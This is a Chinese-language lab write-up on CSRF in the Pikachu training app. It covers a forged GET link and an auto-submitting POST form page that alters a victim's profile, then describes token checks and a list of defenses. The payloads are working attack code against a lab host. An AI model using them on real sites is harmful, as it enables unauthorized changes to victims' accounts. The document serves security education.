pikachu----CSRF 跨站请求漏洞
CSRF
在CSRF攻击场景中攻击者会伪造一个请求 (一个链接)
然后欺骗目标用户点击,用户一旦点击了这个请求,整个攻击也就完成了
所以CSRF攻击也被称为“one click“攻击
例子: 想要修改lucy购物地址信息 lucy必须处于登录的状态,lucy必须点击攻击链接
xss和csrf区别:
1.csrf(get)
登录之后,可以进入修改个人信息 然后进行抓包
将get请求修改为攻击者伪造的链接 在登录状态下点击,就可以修改用户信息
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=hebei&email=lucy%40pikachu.com&submit=submit
2. csrf (post)
修改信息后,抓包
如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击
这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,
诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。、
编写一个post.html页面,代码如下所示,本文把此页面放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.50.100/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="12345678922" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
下面把页面的URL发送给受害者,只要受害者一点击这个链接,就会自动往服务器发送POST请求,修改地址信息
http://192.168.50.100/pikachu/doge_csrf/post.html
3. csrf Token
CSRF的主要问题是敏感操作容易被伪造,我们可以加入Token让请求不容易被伪造
- 每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证
GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=12345678922&add=hebei&email=lucy%40pikachu.com&token=267795e467f2a0a262655625022&submit=submit HTTP/1.1
每次提交完访问的是 token_get_edit.php 页面
、查看页面源码,会有一个隐藏的token值, 提交完 后台的token值会与提交的token值进行验证,跳过 才可以修改数据
防护措施
- 增加Token验证(常用做法)
- 对关键操作增加Token参数,token必须随机,每次都不一样
- 关于安全的会话管理(避免会话被利用) 避免登录态
- 不要在客户端保存敏感信息(比如身份验证信息)
- 退出、关闭浏览器时的会话过期机制
- 设置会话过机制,比如15分钟无操作,则自动登录超时
- 不要在客户端保存敏感信息(比如身份验证信息)
- 访问控制安全管理
- 敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
- 敏感信息的修改使用POST,而不是GET
- 通过HTTP头部中的REFERER来限制原页面
- 增加验证码
- 一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)